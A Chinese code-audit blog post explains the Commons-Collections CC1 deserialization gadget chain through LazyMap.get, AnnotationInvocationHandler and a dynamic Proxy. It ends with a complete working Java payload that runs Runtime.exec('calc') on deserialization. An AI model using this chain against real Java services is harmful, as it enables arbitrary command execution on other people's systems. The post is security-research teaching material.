当前位置:   article > 正文

Java代码审计-CC1 LazyMap Chains_lazymap与那个map实现类功能相似

lazymap与那个map实现类功能相似

lazyMap chains

LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator

LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在 get 找不到值的时候,它会调用 factory.transform 方法去获取一个值

image-20220115091943391

图源:Java反序列化CommonsCollections篇

之前分析的 cc1 的链使用的是 TransformedMap 下的 checkSetValue 方法,但是还有其他利用链,本次就分析 LazyMap 下的 get 方法调用 factory.transform 方法,也是 ysoserial 中使用的方法

image-20220115100212144

get 方法

image-20220115100424886

整条链的入口点还是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法,在文件中发现 membersValues.get 方法参数可控,invoke 方法在对象代理是会被触发,如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发的 LazyMap#get

image-20220115101450124

源码有点问题,应该为下图,在 invoke 中判断了 var5 即 paramTypes 长度等于 0,也就是说需要使用无参方法

image-20220115103043004

而 readObject 中的 entrySet 方法就是一个无参方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 
  • 1

前边提到了 invoke 是在对象代理时触发,Java 作为一门静态语言,要实现类似 PHP 中魔术方法 __call,就需要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  • 1

第一个参数时 ClassLoader,默认即可,第二个参数时代理的对象集合,第三个参数是实现了 InvocationHandler 接口的对象,里面包含了具体的逻辑

动态代理类 Proxy 实现了 serializable,所有对象代理都实现了 Proxy,所以可以序列化

构造 payload

根据之前的 payload 做一个修改,首先使用 LazyMap 替换 TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  • 1

然后对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行 Proxy

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  • 1
  • 2
  • 3
  • 4
  • 5

但是这里依然不能直接对其反序列化,入口点是:sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
AnnotationInvocationHandler 对这个 proxyMap 进行包裹

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
  • 1
  • 2

最终完整 payload

public class test {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        
        serialize(handler);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

调试执行时可以看到,transform 的参数,最终执行命令

image-20220115140406832

同样只限于 jdk8u71 之前

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/694693
推荐阅读
相关标签
  

闽ICP备14008679号